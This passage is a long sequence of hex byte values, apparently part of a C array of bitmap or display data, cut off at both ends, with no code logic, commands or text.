0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xF1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x80, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF4, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0x66, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x41, 0x08, 0x67, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFC, 0x60, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x05, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE6, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0xD2, 0x50, 0x02, 0x52, 0x48, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x80, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x1F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x03, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x04, 0x20, 0x0F, \n0xE0, 0x1E, 0x00, 0xFF, 0x3F, 0xE7, 0x3F, 0xF9, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x83, 0xE0, 0x70, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x06, 0x80, 0x14, 0x00, 0x90, 0x12, 0x40, 0x13, 0x6C, 0xD9, 0xB7, 0x77, 0x66, 0x67, 0x77, \n0x7B, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xDC, 0xF3, 0xBF, 0xE7, 0xFF, 0xFF, 0xFF, 0xFF, 0xCE, \n0x3C, 0xE1, 0x81, 0x84, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x60, 0x3C, 0x0F, 0x87, 0xFD, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFD, 0x6F, 0x69, 0x6F, 0x2F, 0xE9, 0x2F, \n0x97, 0xF6, 0xD9, 0xB2, 0x64, 0x44, 0xCC, 0xCC, 0x40, 0x22, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x10, 0xC0, 0x19, 0xC4, 0x30, 0x00, 0x0C, 0x03, 0x1C, 0x21, 0xC3, 0x03, 0x1C, 0x73, 0xEF, \n0xE7, 0xFF, 0xCF, 0xFF, 0xFF, 0xFF, 0xE3, 0xF3, 0xE7, 0xE3, 0xCE, 0x30, 0x70, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x40, 0x00, 0x0A, 0x03, 0x00, 0x00, 0x20, 0x00, 0x01, 0x00, 0x40, 0x14, \n0x01, 0x08, 0x42, 0x16, 0xD2, 0xD2, 0x12, 0x52, 0x4B, 0x05, 0xC9, 0xB3, 0x64, 0xC8, 0xCD, \n0x99, 0x99, 0x98, 0xCC, 0x00, 0x02, 0x21, 0x04, 0x26, 0x31, 0x8C, 0x63, 0x98, 0x40, 0x20, \n0x18, 0x86, 0x38, 0x63, 0x02, 0x06, 0x18, 0x01, 0x00, 0x80, 0x02, 0x00, 0x00, 0x00, 0x01, \n0x81, 0x82, 0x00, 0x00, 0x00, 0x00, 0x60, 0x00, 0x08, 0x00, 0x00, 0x01, 0x80, 0xC0, 0x14, \n0x06, 0x00, 0x00, 0x40, 0x00, 0x02, 0x00, 0x80, 0x08, 0x02, 0x00, 0x04, 0x25, 0x25, 0xA4, \n0x24, 0x84, 0x92, 0x00, 0x80, 0x24, 0x49, 0x91, 0x13, 0x33, 0x33, 0x11, 0x88, 0x00, 0x00, \n0x00, 0x08, 0x4C, 0x63, 0x18, 0xC3, 0x10, 0x00, 0x00, 0x00, 0x00, 0x20, 0x02, 0x04, 0x08, \n0x20, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0x02, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x28, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x10, 0x04, 0x00, 0x08, 0x0A, 0x49, 0x48, 0x49, 0x01, 0x20, 0x00, 0x00, 0x48, \n0x03, 0x22, 0x26, 0x66, 0x66, 0x03, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0xC6, 0x30, 0x84, \n0x20, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, \n0x10, 0x80, 0x80, 0x10, 0x00, 0x40, 0x00, 0x00, 0x90, 0x00, 0x00, 0x04, 0xCC, 0x44, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x08, 0x20, 0x08, 0x40, 0x00, 0x00, 0x00, 0x00, 0x80, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x20, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x08, 0x00, 0x88, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x03, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF8, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x01, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x80, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x1F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF8, 0x3F, 0xFE, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF8, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x07, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF8, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xFF, 0xE0, 0x03, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFC, 0x00, 0xFF, 0xFF, 0xF8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x01, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFC, \n0x00, 0x01, 0xFF, 0xFF, 0xF8, 0x00, 0x00, 0x07, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x03, 0xFE, 0x00, 0x00, 0x1F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF8, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xC0, 0x01, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x07, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xE0, 0x01, 0xFF, 0xFF, 0xFF, 0x00, 0x00, \n0x00, 0x07, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xBF, 0xFF, 0xFF, 0xE0, 0x00, 0x00, 0xFF, 0x80, 0x00, 0x1F, \n0xFF, 0xFF, 0xF0, 0x00, 0x01, 0xFF, 0xFF, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x3F, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xFF, 0x80, 0x00, 0x1F, 0xFF, \n0xFE, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0xF8, 0x00, 0x00, 0x0F, 0xFF, 0xFF, 0x80, 0x00, \n0x0F, 0xFF, 0xF8, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x07, 0xFF, 0xFF, 0xC0, 0x00, 0x7F, 0xFF, 0xF8, 0x00, 0x00, 0x1F, 0xFF, 0xFF, 0xC0, 0x00, \n0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x00, \n0x0F, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0x7F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xE0, \n0x03, 0xFF, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x1F, 0xFF, 0x80, 0x00, 0x00, 0x1C, 0x00, 0x00, \n0x01, 0xFF, 0xFF, 0xFF, 0xE0, 0x00, 0x00, 0xFF, 0xFF, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x01, 0xFF, 0xFF, 0xC0, 0x00, 0x01, 0xFF, 0xFF, 0xC0, 0x00, 0x3F, 0xFF, 0xFF, 0xF8, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xF8, \n0x00, 0x00, 0x7F, 0xC0, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xC0, 0x00, 0x00, 0x0F, 0xFF, 0xFC, \n0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xFF, 0x80, 0x00, 0x0F, 0xF0, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x00, 0x00, 0xFF, 0xFC, 0x00, 0x00, 0x1F, 0xFF, 0xFF, 0xF0, 0x00, 0x1F, 0xFF, 0xFF, \n0x00, 0x00, 0x00, 0x01, 0xFF, 0xF0, 0x00, 0x00, 0x07, 0xFF, 0xFF, 0xF0, 0x00, 0x0F, 0xE0, \n0xFF, 0x83, 0xFE, 0x1F, 0xFC, 0x0C, 0x00, 0x00, 0x1F, 0xFF, 0x00, 0x00, 0x00, 0x00, 0x3E, \n0x00, 0x00, 0x00, 0x03, 0xFF, 0xFF, 0xFF, 0x80, 0x00, 0x0F, 0xFF, 0xFF, 0xE0, 0x00, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x0F, 0xFF, 0xF0, 0x00, 0x00, 0x78, 0x3F, \n0xFF, 0xFC, 0x00, 0x00, 0x1F, 0xFF, 0xC0, 0x00, 0x00, 0x03, 0xFF, 0xFE, 0x00, 0x00, 0x03, \n0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x01, 0xFF, 0xFC, 0x00, 0x01, 0xFF, \n0xFF, 0xFE, 0x00, 0x00, 0x01, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x3F, 0xFF, 0xE0, 0x00, 0x00, \n0x1F, 0xFF, 0xFF, 0xE0, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0x80, 0xFF, \n0xFF, 0xFF, 0xC0, 0x00, 0x00, 0x00, 0xE0, 0x00, 0x00, 0x03, 0xFF, 0xFF, 0xFC, 0x00, 0x7F, \n0xFF, 0xFF, 0xFC, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x7F, 0xFF, 0xFF, 0x80, \n0x00, 0x3F, 0xF0, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xF0, 0x00, 0x3F, 0xFF, 0xFF, 0xF0, 0x00, \n0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0xF8, 0x00, 0x7F, 0xFF, 0xFF, 0x00, \n0x00, 0x00, 0x03, 0xFF, 0x80, 0x00, 0x3F, 0xFF, 0xFF, 0xF0, 0x07, 0xFF, 0xFF, 0x80, 0x00, \n0x00, 0x00, 0x00, 0x01, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFE, 0x00, 0x00, 0x00, 0x3F, 0xFE, \n0x00, 0x00, 0x00, 0x1F, 0xFF, 0xF8, 0x00, 0x1F, 0xFF, 0xFE, 0x00, 0x00, 0x00, 0x00, 0x38, \n0x03, 0xFF, 0xFF, 0xFF, 0xFF, 0x00, 0x0F, 0xFF, 0xFF, 0xF0, 0x00, 0x00, 0x00, 0x7F, 0xFE, \n0x00, 0x01, 0xFF, 0xFF, 0xFF, 0xC0, 0x00, 0x07, 0xFF, 0xFE, 0x00, 0x00, 0x00, 0x00, 0x00, \n0x00, 0xFF, 0xFF, 0xFF, 0xF8, 0x00, 0x00, 0x3F, 0xFF, 0xFE, 0x00, 0x00, 0x00, 0x7F, 0xFF, \n0xF0, 0x00, 0x01, 0xFF, 0xFE, 0x00, 0x00, 0x00, 0x3F, 0xFF, 0xFF, 0x00, 0x00, 0x00, 0x00, \n0x00, 0x3F, 0xFF, 0xFF, 0xFE, 0x00, 0x00, 0x01, 0xFF, 